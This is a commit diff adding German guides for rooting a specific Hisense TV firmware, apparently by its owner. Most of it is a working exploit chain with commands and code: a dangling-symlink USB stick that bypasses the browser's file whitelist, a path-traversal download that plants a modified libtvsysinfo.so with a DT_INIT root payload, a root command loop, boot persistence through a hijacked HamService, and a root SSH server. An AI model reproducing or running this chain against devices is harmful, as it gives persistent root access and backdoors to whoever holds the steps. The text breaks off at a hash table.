add stuff
This commit is contained in:
commit
26cd15d899
65 files changed
+4820
No files matched your search
@@ -0,0 +1,61 @@
|
||||
# root/ — finale Root-Abteilung
|
||||
|
||||
**Vollständiger Weg:** [`ROOT-GUIDE.md`](ROOT-GUIDE.md)
|
||||
**Kurz:** `tools/pub/` = ausgelieferte Dateien; `scripts/host/` = Host-Helfer; `scripts/tv/` = TV-Skripte; `artifacts/` = Original-Lib, Keys, Fingerprint.
|
||||
|
||||
## Die Schritte
|
||||
|
||||
```bash
|
||||
# Host
|
||||
sudo root/scripts/host/prepare_usb.sh /dev/sdX # ext4/MBR + tvi-Symlink
|
||||
root/scripts/host/start_http.sh # :9000
|
||||
# TV: http://<host-ip>:9000/recon.html
|
||||
# TV-Konsole: root/scripts/host/plant_payload.js # USB-Dev anpassen
|
||||
# reboot
|
||||
# TV-Konsole nach Boot: root/scripts/host/upload_to_appdata.js
|
||||
# TV-Konsole: root/scripts/host/run_root_cmd.js # deploy_sshd.sh
|
||||
ssh root@192.168.188.94
|
||||
|
||||
# optional: SFTP (key-only, nach dem SSH-Setup)
|
||||
root/scripts/host/install_sftp.sh
|
||||
sftp root@192.168.188.94
|
||||
```
|
||||
|
||||
## Dateien
|
||||
|
||||
| Pfad | Zweck |
|
||||
|---|---|
|
||||
| `tools/pub/libtvsysinfo.so` | finaler Payload (33.500 B, SHA `37b13f…`) |
|
||||
| `tools/pub/dropbear`, `dropbearkey` | statischer ARM-Dropbear 2022.83, key-only |
|
||||
| `tools/pub/dropbear-sftp` | Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server` |
|
||||
| `tools/pub/sftp-server` | statischer OpenSSH-9.9p1-sftp-server (ARM) |
|
||||
| `tools/pub/authorized_keys` | dein Public Key |
|
||||
| `tools/pub/start_sshd.sh` | Dropbear + passwd-/PTY-Bindmounts |
|
||||
| `tools/pub/root_loop.sh` | Root-Kommandokanal |
|
||||
| `tools/pub/hamservice-wrapper.sh` | Boot-Hook (HamService) |
|
||||
| `tools/pub/deploy_sshd.sh` | Installiert SSH/Persistenz (als root) |
|
||||
| `tools/pub/verify.sh` | Health-Check |
|
||||
| `tools/pub/rollback.sh` | Rückbau |
|
||||
| `scripts/host/prepare_usb.sh` | USB ext4/MBR + Symlinks |
|
||||
| `scripts/host/start_http.sh` | Server/Recon |
|
||||
| `scripts/host/plant_payload.js` | Payload durch `tvi` schreiben |
|
||||
| `scripts/host/upload_to_appdata.js` | Dropbear/Deploy-Dateien hochladen |
|
||||
| `scripts/host/run_root_cmd.js` | `root_cmd.sh` schreiben / `root_out` lesen |
|
||||
| `scripts/host/build_payload.sh` | Payload reproduzieren |
|
||||
| `scripts/host/build_dropbear.sh` | Dropbear aus `sources/` bauen |
|
||||
| `scripts/host/build_sftp_server.sh` | statischen `sftp-server` bauen |
|
||||
| `scripts/host/patch_dropbear_sftp.py` | `dropbear-sftp` erzeugen |
|
||||
| `scripts/host/install_sftp.sh` | SFTP installieren/testen/auf 22 tauschen |
|
||||
| `scripts/tv/install_sftp_stage.sh` | SFTP-Binaries + Test-Dropbear auf 2222 |
|
||||
| `scripts/tv/enable_sftp.sh` | Tausch auf 22 planen |
|
||||
| `scripts/tv/swap_sftp.sh` | Tausch detached ausführen |
|
||||
| `artifacts/tvi_original.so` | Original-Lib (33.220 B) |
|
||||
| `artifacts/keys/authorized_keys` | Public Key |
|
||||
| `artifacts/keys/host-key-fingerprint.txt` | `SHA256:7tFL…` |
|
||||
|
||||
**Keine Secrets:** kein Root-Hash, kein privater SSH-Key.
|
||||
|
||||
**Status:** Root + SSH + PTY live bestätigt; Boot-Persistenz installiert
|
||||
(Reboot-Test offen). SFTP optional: statischer OpenSSH-sftp-server + gepatchter
|
||||
Dropbear; Installer testet Port 2222, dann 22. Details/Verifikation im
|
||||
`ROOT-GUIDE.md`, Modding in `../modding/`.
|
||||
@@ -0,0 +1,540 @@
|
||||
# ROOT-GUIDE — Hisense HE40E5600FFWTS (V0100.01.00A.N0410)
|
||||
|
||||
**Finaler, replizierbarer Root-Weg.** Kein Flash, kein `.pkg`, kein UART, kein Öffnen des TVs.
|
||||
**Ziel-TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`
|
||||
**Host:** Linux mit Python 3, `arm-linux-gnueabihf-*`, optional `qemu-arm`; Host-IP im Beispiel `192.168.188.150`
|
||||
**Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen).
|
||||
|
||||
Dieser Ordner ist **self-contained**: Payload, Original-Lib, Dropbear-Binaries, Host-/TV-Skripte, Public Key, Host-Key-Fingerprint, Build-Skripte und die Doku liegen hier. Du musst nicht durch den alten Run-Ordner suchen. Die alte `docs/re/...`-Ablage ist nur noch Evidence/Provenienz.
|
||||
|
||||
---
|
||||
|
||||
## 0. Ergebnis
|
||||
|
||||
Beim Boot lädt `hisense_browser` (UID 0, Single-Process, `CapEff=0000003fffffffff`) eine präparierte **`libtvsysinfo.so`** aus `/3rd_rw/loglevel/lib`. Der angehängte `DT_INIT` läuft als root, schreibt den Proof, startet die Root-Loop und ruft danach den Original-Init auf. Über den `HamService`-Wrapper starten Root-Loop und Dropbear bei jedem Boot. SSH ist **key-only**; Login als `root` gibt eine echte Root-Shell mit PTY.
|
||||
|
||||
Beweis (live):
|
||||
|
||||
```
|
||||
/3rd_rw/root_proof.txt = ROOT_EXEC_TVI
|
||||
uid=0(root) gid=0(root)
|
||||
Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 0000003fffffffff
|
||||
```
|
||||
|
||||
**Optional SFTP:** Dropbear bringt keinen eigenen `sftp-server` mit. Im Ordner
|
||||
liegen ein **statischer OpenSSH-9.9p1-sftp-server** und ein Dropbear mit
|
||||
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; `root/scripts/host/install_sftp.sh`
|
||||
installiert beides (Test auf 2222, dann Tausch auf 22). Danach:
|
||||
`sftp root@192.168.188.94`. Siehe 9.4.
|
||||
|
||||
---
|
||||
|
||||
## 1. Die Kette (warum das geht)
|
||||
|
||||
1. **Browser ist root.** `hisense_browser` läuft als UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp/NoNewPrivs. JS im Browser ist root-equivalent.
|
||||
2. **USB-Schreibprimitive.** `HSJSX_File::IsSubDentry` prüft `realpath` + Präfix gegen `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`. Ein **dangling Symlink** auf einem ext4-USB lässt `realpath` am fehlenden Ziel scheitern; der Elternpfad `/dev/shm/shm_tmp/mnt/usb/<dev>` ist erlaubt. `fopen` folgt dem Symlink und legt die Zieldatei als root an. Damit sind **neue Root-Dateien** überall anlegbar.
|
||||
3. **Loader-Shadow.** `hisense_browser` hat `libtvsysinfo.so` als direktes `NEEDED`; `DT_RPATH=/lib/`, dort liegt sie nicht. `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib` — das erste Verzeichnis, das die Lib liefern kann. Die dort per Symlink-Bypass abgelegte `libtvsysinfo.so` wird beim nächsten Browser-Start geladen.
|
||||
4. **DT_INIT-Payload.** Die echte `libtvsysinfo.so` wird um Code am Dateiende erweitert (RX-LOAD `p_filesz/memsz` mit erweitert); `DT_INIT` zeigt auf den neuen Code. Der Code:
|
||||
- `unlink` der eigenen Datei (Selbstschutz),
|
||||
- schreibt `/3rd_rw/root_proof.txt`,
|
||||
- `fork` + `execve("/bin/sh", ["/bin/sh", "/3rd_rw/appdata/root_loop.sh"], NULL)`,
|
||||
- ruft den Original-`DT_INIT` per PC-relativem `bl` auf,
|
||||
- kehrt zum Loader zurück.
|
||||
5. **Root-Loop.** `/3rd_rw/appdata/root_loop.sh` läuft als root, liest `root_cmd.sh`, führt sie aus und schreibt `root_out.txt`.
|
||||
6. **SSH-Persistenz.** `/3rd_rw/hamservice/HamService` ist ein Wrapper: startet Root-Loop + Dropbear, führt danach das echte `/3rd/hamservice/HamService` aus. `startHam.sh` ruft ihn beim Boot als root auf. Dropbear nutzt ein bind-gemountetes `/etc/passwd` (Root-Home `/3rd_rw/sshd/home`) und `~/.ssh/authorized_keys`. PTYs kommen aus einem devpts-Mount auf `/dev/shm/pts`, der auf `/dev/pts` gebindet wird.
|
||||
|
||||
---
|
||||
|
||||
## 2. Ordner / Artefakte
|
||||
|
||||
```
|
||||
root/
|
||||
ROOT-GUIDE.md # diese Datei
|
||||
README.md # kurzer Index
|
||||
tools/
|
||||
server.py # Host: recon.html + /pub + /cmd + /recon + /dump
|
||||
recon.html # Host: TV-Seite mit fileXHR/listDir/HiBrowser-Hook
|
||||
live_cmd.txt # optionaler Live-Command-Kanal (leer = nichts)
|
||||
pub/
|
||||
libtvsysinfo.so # finaler Payload (33500 B)
|
||||
dropbear # statischer ARM-Dropbear 2022.83 (key-only)
|
||||
dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
|
||||
dropbearkey
|
||||
sftp-server # statischer OpenSSH 9.9p1 sftp-server
|
||||
authorized_keys # dein Public Key
|
||||
start_sshd.sh # TV: Dropbear + passwd/PTY-Bindmounts
|
||||
root_loop.sh # TV: Root-Kommandokanal
|
||||
hamservice-wrapper.sh # TV: Boot-Hook, ersetzt /3rd_rw/hamservice/HamService
|
||||
deploy_sshd.sh # TV: installiert alles (als root ausführen)
|
||||
verify.sh # TV: Health-Check
|
||||
rollback.sh # TV: alles zurückbauen
|
||||
scripts/
|
||||
host/
|
||||
prepare_usb.sh # Host: ext4/MBR-Stick + Symlinks
|
||||
start_http.sh # Host: Server auf :9000
|
||||
plant_payload.js # TV-Konsole: Payload durch tvi schreiben
|
||||
upload_to_appdata.js # TV-Konsole: Dropbear/Deploy-Dateien nach appdata
|
||||
run_root_cmd.js # TV-Konsole: root_cmd.sh schreiben/root_out lesen
|
||||
build_payload.sh # Host: Payload aus tvi_original.so bauen
|
||||
build_tvi_payload.py # Host: Builder (deterministisch)
|
||||
build_dropbear.sh # Host: Dropbear aus sources/ bauen
|
||||
build_sftp_server.sh # Host: statischen sftp-server bauen
|
||||
patch_dropbear_sftp.py # Host: Dropbear-SFTP-Pfad patchen
|
||||
install_sftp.sh # Host: SFTP installieren/testen/auf 22 tauschen
|
||||
tv/
|
||||
start_sshd.sh
|
||||
root_loop.sh
|
||||
hamservice-wrapper.sh
|
||||
deploy_sshd.sh
|
||||
verify.sh
|
||||
rollback.sh
|
||||
install_sftp_stage.sh # TV: sftp-server + Test-Dropbear auf 2222
|
||||
enable_sftp.sh # TV: Tausch auf 22 planen
|
||||
swap_sftp.sh # TV: Tausch ausführen (detached)
|
||||
artifacts/
|
||||
tvi_original.so # Original /3rd_rw/tvsysinfo/lib/libtvsysinfo.so (33220 B)
|
||||
keys/authorized_keys # dein Public Key
|
||||
keys/host-key-fingerprint.txt
|
||||
sources/
|
||||
dropbear-2022.83.tar.bz2 # Offline-Buildquelle (SHA unten)
|
||||
openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server
|
||||
modding/ # die Modding-Doku (eigene Abteilung)
|
||||
dead-ends.md # kurze Liste der Sackgassen
|
||||
SHA256SUMS
|
||||
```
|
||||
|
||||
**Wichtig:** `root/tools/pub/authorized_keys` enthält **nur** deinen Public Key. Der private Key bleibt auf deinem Rechner und ist nirgends in diesem Ordner.
|
||||
|
||||
---
|
||||
|
||||
## 3. Voraussetzungen
|
||||
|
||||
- TV im LAN, erreichbar als `192.168.188.94` (IP ggf. anpassen).
|
||||
- Host im selben LAN; Python 3; für den Rebuild: `gcc-arm-linux-gnueabihf`, `binutils-arm-linux-gnueabihf`, `make`, `bzip2`.
|
||||
- Optional SFTP: OpenSSH-Client (`sftp`) auf dem Host; der TV braucht keinen Client.
|
||||
- USB-Stick, **ext4 mit MBR-Partitionstabelle** (kein Superfloppy). Der TV mountet Partitionen.
|
||||
- Der Public Key in `root/tools/pub/authorized_keys` muss zu deinem privaten Key passen. Aktuell:
|
||||
```
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
|
||||
```
|
||||
- Host-Key des TV-SSHD (Ed25519):
|
||||
```
|
||||
SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Der Weg in Kürze
|
||||
|
||||
```
|
||||
1. USB-Stick: sudo root/scripts/host/prepare_usb.sh /dev/sdX
|
||||
2. Server: root/scripts/host/start_http.sh
|
||||
3. TV-Seite: http://<host-ip>:9000/recon.html
|
||||
4. Payload: root/scripts/host/plant_payload.js (USB-Dev anpassen) → Reboot
|
||||
5. Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI
|
||||
6. SSH-Dateien: root/scripts/host/upload_to_appdata.js
|
||||
7. Deploy: root/scripts/host/run_root_cmd.js → deploy_sshd.sh
|
||||
8. Verbinden: ssh root@192.168.188.94
|
||||
9. Persistenz: HamService-Wrapper ist installiert; Reboot-Test
|
||||
10. Rollback: root/scripts/tv/rollback.sh (auf dem TV, als root)
|
||||
11. SFTP opt.: root/scripts/host/install_sftp.sh
|
||||
```
|
||||
|
||||
Die Schritte im Detail:
|
||||
|
||||
---
|
||||
|
||||
## 5. Schritt 1 — USB-Stick (ext4 + MBR + `tvi`-Symlink)
|
||||
|
||||
### 5.1 Skript
|
||||
|
||||
```bash
|
||||
cd /workspace/hisense-he40e5600-root-modding
|
||||
sudo root/scripts/host/prepare_usb.sh /dev/sdX
|
||||
```
|
||||
|
||||
Das Skript ist **destruktiv**: `wipefs`, MBR, `mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM`, dann:
|
||||
|
||||
```
|
||||
tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (Pflicht, muss dangling bleiben)
|
||||
pwn -> /3rd_rw/root_proof.txt (optional, Proof-Target)
|
||||
```
|
||||
|
||||
### 5.2 Manuell (falls du es selbst machen willst)
|
||||
|
||||
```bash
|
||||
lsblk -f
|
||||
sudo wipefs -a /dev/sdX
|
||||
sudo parted -s /dev/sdX mklabel msdos mkpart primary ext4 1MiB 100%
|
||||
sudo mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM /dev/sdX1
|
||||
sudo mkdir -p /mnt/data
|
||||
sudo mount /dev/sdX1 /mnt/data
|
||||
sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/data/tvi
|
||||
sudo ln -sfn /3rd_rw/root_proof.txt /mnt/data/pwn
|
||||
sync
|
||||
sudo umount /mnt/data
|
||||
```
|
||||
|
||||
- **`tvi` muss dangling sein** (Ziel existiert noch nicht). Genau das ist der Whitelist-Bypass.
|
||||
- FAT32 kann keine Symlinks; ext4 mit alter Feature-Menge (`^64bit,^metadata_csum`) wird vom 3.18-Kernel gemountet.
|
||||
- Ein Whole-Disk-ext4 (Superfloppy, kein `sdX1`) wird **nicht** gemountet.
|
||||
|
||||
Dann Stick in den TV. Der TV mountet ihn als `/dev/shm/shm_tmp/mnt/usb/<dev>` (für JS sichtbar als `/mnt/usb/<dev>`, z. B. `sda1`/`sdb1`/`sdc1`).
|
||||
|
||||
---
|
||||
|
||||
## 6. Schritt 2 — Host-Server + Recon-Seite
|
||||
|
||||
```bash
|
||||
cd /workspace/hisense-he40e5600-root-modding
|
||||
root/scripts/host/start_http.sh
|
||||
# TV URL: http://<host-ip>:9000/recon.html
|
||||
```
|
||||
|
||||
Der Server liefert `recon.html`, `/cmd`, `/recon`, `/dump` und `/pub/*`. Die TV-Seite pollt `/cmd` und führt JS im **root-Browser** aus.
|
||||
|
||||
Auf dem TV im Browser öffnen:
|
||||
|
||||
```
|
||||
http://<host-ip>:9000/recon.html
|
||||
```
|
||||
|
||||
USB-Dev ermitteln (Konsole/Hook):
|
||||
|
||||
```js
|
||||
listDir("/mnt/usb") // z. B. "[D] sda1"
|
||||
listDir("/mnt/usb/sda1") // muss "tvi" zeigen
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. Schritt 3 — Payload schreiben
|
||||
|
||||
### 7.1 Skript (TV-Konsole)
|
||||
|
||||
`root/scripts/host/plant_payload.js` in die Konsole pasten; **`usb` anpassen**:
|
||||
|
||||
```js
|
||||
var usb = "/mnt/usb/sda1"; // <-- aus listDir("/mnt/usb")
|
||||
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
|
||||
var url = location.origin + "/pub/libtvsysinfo.so";
|
||||
var o = {};
|
||||
o.download = HiBrowser.File.download(url, target, 1);
|
||||
o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
|
||||
"tvi_check_plant.so", 1);
|
||||
o
|
||||
```
|
||||
|
||||
Erwartung: `download=0`, `back=0`; danach existiert
|
||||
|
||||
```
|
||||
/3rd_rw/loglevel/lib/libtvsysinfo.so 33500 B
|
||||
SHA-256 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a
|
||||
```
|
||||
|
||||
### 7.2 Manuell (ohne JS-Datei)
|
||||
|
||||
```js
|
||||
HiBrowser.File.download(
|
||||
"http://<host-ip>:9000/pub/libtvsysinfo.so",
|
||||
"so/../../../../dev/shm/shm_tmp/mnt/usb/sda1/tvi",
|
||||
1
|
||||
);
|
||||
```
|
||||
|
||||
### 7.3 Verifizieren
|
||||
|
||||
- `back=0` und die 33.500 B / SHA oben.
|
||||
- Optional die zurückgelesene Datei `tvi_check_plant.so` mit `pub/libtvsysinfo.so` vergleichen.
|
||||
- **Nicht rebooten**, bevor die Bytes stimmen.
|
||||
|
||||
### 7.4 Reboot
|
||||
|
||||
TV komplett aus- und wieder einschalten. Beim Boot lädt `hisense_browser` die Shadow-Lib aus Index 17; der `DT_INIT` läuft als root.
|
||||
|
||||
---
|
||||
|
||||
## 8. Schritt 4 — Root prüfen / Kommandokanal
|
||||
|
||||
Nach dem Boot Recon-Seite erneut öffnen.
|
||||
|
||||
```js
|
||||
fileXHR("file:///3rd_rw/root_proof.txt") // ROOT_EXEC_TVI
|
||||
fileXHR("file:///3rd_rw/appdata/root_loop.pid") // z. B. 1425
|
||||
listDir("/3rd_rw/loglevel/lib") // nur liblogLevel.so => Self-Unlink ok
|
||||
```
|
||||
|
||||
Root-Befehl über den Loop:
|
||||
|
||||
```js
|
||||
HiBrowser.File.write("root_cmd.sh",
|
||||
"id\n" +
|
||||
"cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1);
|
||||
|
||||
// nach ca. 2 s:
|
||||
fileXHR("file:///3rd_rw/appdata/root_out.txt")
|
||||
```
|
||||
|
||||
Erwartung:
|
||||
|
||||
```
|
||||
uid=0(root) gid=0(root)
|
||||
Uid: 0 0 0 0
|
||||
Gid: 0 0 0 0
|
||||
CapEff: 0000003fffffffff
|
||||
```
|
||||
|
||||
Fertiges Snippet: `root/scripts/host/run_root_cmd.js` (CMD anpassen).
|
||||
|
||||
---
|
||||
|
||||
## 9. Schritt 5 — Dropbear/SSH installieren
|
||||
|
||||
### 9.1 Dateien nach `/3rd_rw/appdata` laden
|
||||
|
||||
`root/scripts/host/upload_to_appdata.js` in die TV-Konsole pasten. Es lädt aus `root/tools/pub/`:
|
||||
|
||||
```
|
||||
dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
|
||||
hamservice-wrapper.sh deploy_sshd.sh verify.sh rollback.sh
|
||||
```
|
||||
|
||||
nach `/3rd_rw/appdata`. Erwartung: alle Werte `0`.
|
||||
|
||||
### 9.2 Deploy als root (über die Root-Loop)
|
||||
|
||||
`root/scripts/host/run_root_cmd.js` mit
|
||||
|
||||
```
|
||||
/bin/sh /3rd_rw/appdata/deploy_sshd.sh
|
||||
```
|
||||
|
||||
ausführen (oder in der Konsole):
|
||||
|
||||
```js
|
||||
HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/deploy_sshd.sh\n", 1);
|
||||
// nach ca. 5 s:
|
||||
fileXHR("file:///3rd_rw/appdata/root_out.txt")
|
||||
```
|
||||
|
||||
`deploy_sshd.sh` macht:
|
||||
|
||||
- `dropbear`/`dropbearkey` → `/3rd_rw/sshd/`
|
||||
- Host-Key (`dropbearkey -t ed25519 -f /3rd_rw/sshd/host_key`)
|
||||
- `/etc/passwd`-Kopie mit `root:/3rd_rw/sshd/home:/bin/sh`, **bind mount** über `/etc/passwd`
|
||||
- devpts auf `/dev/shm/pts`, **bind mount** über `/dev/pts` (PTY; `/dev` ist statisch ro)
|
||||
- `authorized_keys` aus dem Public Key
|
||||
- `start_sshd.sh` + `root_loop.sh` + `hamservice-wrapper.sh`
|
||||
- Start von Dropbear auf `0.0.0.0:22`, key-only
|
||||
- Health-Ausgabe (Prozesse, Port, Log, Host-Key, Mounts)
|
||||
|
||||
### 9.3 Verbinden
|
||||
|
||||
```bash
|
||||
ssh root@192.168.188.94
|
||||
# oder, wenn dein Key nicht der Default ist:
|
||||
ssh -i ~/.ssh/<dein_privater_key> root@192.168.188.94
|
||||
```
|
||||
|
||||
Beim ersten Verbinden Host-Key bestätigen:
|
||||
|
||||
```
|
||||
ED25519 key fingerprint is SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||
```
|
||||
|
||||
Erwartung: `root@...:~#`, `id` → `uid=0(root)`.
|
||||
|
||||
**Key-only:** `DROPBEAR_SVR_PASSWORD_AUTH=0` beim Build; es gibt keinen Passwort-Login. Dein Public Key ist der einzige Zugang.
|
||||
|
||||
**PTY:** devpts-Workaround ist im `start_sshd.sh`/`deploy_sshd.sh`. Falls doch `PTY allocation failed`:
|
||||
|
||||
```sh
|
||||
mkdir -p /dev/shm/pts
|
||||
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts
|
||||
mount --bind /dev/shm/pts /dev/pts
|
||||
```
|
||||
|
||||
Danach erneut verbinden; Dropbear muss nicht neu starten. Fallback ohne PTY:
|
||||
|
||||
```bash
|
||||
ssh -T root@192.168.188.94 'id; uname -a'
|
||||
```
|
||||
|
||||
### 9.4 SFTP (optional, key-only)
|
||||
|
||||
Dropbear hat **keinen eigenen sftp-server**; der Server exec't den
|
||||
compile-time `SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro
|
||||
Rootfs erlaubt dort keine Datei. Deshalb liegen im Ordner:
|
||||
|
||||
- `tools/pub/sftp-server` — statischer OpenSSH-9.9p1-sftp-server (ARM)
|
||||
- `tools/pub/dropbear-sftp` — Dropbear mit
|
||||
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`
|
||||
|
||||
Installation vom Host (nutzt deinen SSH-Key; ein `sftp`-Client wird nur für den Test benötigt):
|
||||
|
||||
```bash
|
||||
cd /workspace/hisense-he40e5600-root-modding
|
||||
root/scripts/host/install_sftp.sh
|
||||
# optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ...
|
||||
```
|
||||
|
||||
Ablauf: lädt beide Binaries nach `/3rd_rw/appdata`; startet einen
|
||||
**Test-Dropbear auf Port 2222** (Port 22 bleibt unangetastet); testet
|
||||
`sftp -P 2222`; nur bei Erfolg wird der Binary auf 22 getauscht
|
||||
(Backup: `/3rd_rw/sshd/dropbear.nosftp`). Danach:
|
||||
|
||||
```bash
|
||||
sftp root@192.168.188.94
|
||||
# pwd, ls, put, get ...
|
||||
```
|
||||
|
||||
**Rollback:**
|
||||
|
||||
```bash
|
||||
ssh root@192.168.188.94 \
|
||||
'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \
|
||||
kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \
|
||||
/bin/sh /3rd_rw/sshd/start_sshd.sh'
|
||||
```
|
||||
|
||||
**SFTP ist root-equivalent** (Login als root), key-only, nur LAN. Es ist
|
||||
derselbe Zugang wie SSH; keine zusätzlichen Credentials.
|
||||
|
||||
---
|
||||
|
||||
## 10. Schritt 6 — Persistenz (Boot)
|
||||
|
||||
`deploy_sshd.sh` installiert bereits `/3rd_rw/hamservice/HamService`:
|
||||
|
||||
```sh
|
||||
#!/bin/sh
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||
exec /3rd/hamservice/HamService "$@"
|
||||
```
|
||||
|
||||
Boot-Ablauf:
|
||||
|
||||
1. `startHam.sh` wechselt nach `/3rd_rw/hamservice`.
|
||||
2. `[ -e HamService ] && [ -x HamService ]` → `./HamService &`.
|
||||
3. Wrapper startet Root-Loop + Dropbear (Bind-Mounts/PTY), `exec`t dann das echte `/3rd/hamservice/HamService`.
|
||||
4. Root-Loop und Dropbear laufen als root weiter.
|
||||
|
||||
**Reboot-Test:** TV neu starten; danach:
|
||||
|
||||
```bash
|
||||
ssh root@192.168.188.94 'id; ps | grep -E "dropbear|root_loop"'
|
||||
```
|
||||
|
||||
Oder auf dem TV: `/bin/sh /3rd_rw/appdata/verify.sh`.
|
||||
|
||||
**Alternative für frühe Mods:** `/3rd_rw/developer.sh` (wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt, **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`). Siehe `modding/02-boot.md` und `modding/04-modding.md`.
|
||||
|
||||
---
|
||||
|
||||
## 11. Schritt 7 — Rollback
|
||||
|
||||
### 11.1 Skript (TV, als root)
|
||||
|
||||
```sh
|
||||
/bin/sh /3rd_rw/appdata/rollback.sh
|
||||
# oder aus diesem Ordner hochladen und ausführen
|
||||
```
|
||||
|
||||
Es stoppt Loop/Dropbear, stellt den HamService-Symlink wieder her, unmountet `/etc/passwd`/`/dev/pts`/`/dev/shm/pts`, entfernt `/3rd_rw/sshd`, die Shadow-Lib und die alten ms-/appdata-Payloads. Danach Reboot.
|
||||
|
||||
### 11.2 Manuell
|
||||
|
||||
```sh
|
||||
kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null
|
||||
kill "$(cat /3rd_rw/sshd/dropbear.pid)" 2>/dev/null
|
||||
rm -f /3rd_rw/hamservice/HamService
|
||||
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||
umount /etc/passwd 2>/dev/null
|
||||
umount /dev/pts 2>/dev/null
|
||||
umount /dev/shm/pts 2>/dev/null
|
||||
rm -rf /3rd_rw/sshd
|
||||
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||
sync
|
||||
reboot
|
||||
```
|
||||
|
||||
Der ro Rootfs ist unverändert; die Original-`libtvsysinfo.so` bleibt unter `/3rd_rw/tvsysinfo/lib`. Kein Flash, kein `.pkg`.
|
||||
|
||||
---
|
||||
|
||||
## 12. Troubleshooting
|
||||
|
||||
| Problem | Ursache / Lösung |
|
||||
|---|---|
|
||||
| `PTY allocation request failed` / `openpty: No space left on device` | `/dev/pts` ist nicht devpts. `mkdir -p /dev/shm/pts; mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts; mount --bind /dev/shm/pts /dev/pts`. Erneut verbinden. |
|
||||
| `Permission denied (publickey)` | `grep '^root:' /etc/passwd` muss `/3rd_rw/sshd/home:/bin/sh` zeigen (Bind-Mount). `authorized_keys` 600, `.ssh` 700, Home 700. `cat /3rd_rw/sshd/dropbear.log`. |
|
||||
| `Connection refused` | Dropbear läuft nicht: `ps | grep dropbear`, `cat /3rd_rw/sshd/dropbear.log`, `/bin/sh /3rd_rw/sshd/start_sshd.sh`. Port 22: `/proc/net/tcp` (`:0016`). |
|
||||
| Host-Key-Warnung | `ssh-keygen -R 192.168.188.94`; Fingerprint `SHA256:7tFL…` bestätigen. |
|
||||
| Recon-Seite weg | TV-Browser neu öffnen: `http://<host-ip>:9000/recon.html`. SSH/Root-Loop laufen unabhängig. |
|
||||
| Nach Reboot kein SSH | `/3rd_rw/hamservice/HamService` (Wrapper, 755), `/3rd_rw/sshd/start_sshd.sh`, `dropbear.log`, `mount.log` prüfen. `startHam.sh` startet den Wrapper. |
|
||||
| Root-User nicht gefunden | `/etc/passwd`-Bind fehlt: `mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd`; `grep '^root:' /etc/passwd`. |
|
||||
| Kein Root nach Payload | Datei 33.500 B/SHA prüfen; `/3rd_rw/loglevel/lib/libtvsysinfo.so` vorhanden; Browser neu starten; Index 17. |
|
||||
| `dropbear: Invalid option -s` | Dieser Build hat kein `-s`; Passwort-Auth ist **compile-time** aus. `-s` aus dem Startskript entfernen (hier bereits nicht enthalten). |
|
||||
| `sh: /usr/libexec/sftp-server: No such file` | Der Dropbear ist noch der ungepatchte. `root/scripts/host/install_sftp.sh` ausführen; prüfen: `grep -a 'sftp-server' /3rd_rw/sshd/dropbear` → `/3rd_rw/sshd/sftp-server`. |
|
||||
| SFTP auf 2222 scheitert | `/3rd_rw/sshd/dropbear2222.log` prüfen; Port 22 wurde nicht angefasst. |
|
||||
| SFTP auf 22 scheitert | `/3rd_rw/sshd/swap.log`, `/3rd_rw/sshd/dropbear.log`; Rollback-Befehl in 9.4. |
|
||||
|
||||
Dead Ends und verworfene Wege: `../dead-ends.md` (kurz).
|
||||
|
||||
---
|
||||
|
||||
## 13. Artefakte und Hashes
|
||||
|
||||
| Artefakt | Pfad | Größe / SHA-256 |
|
||||
|---|---|---|
|
||||
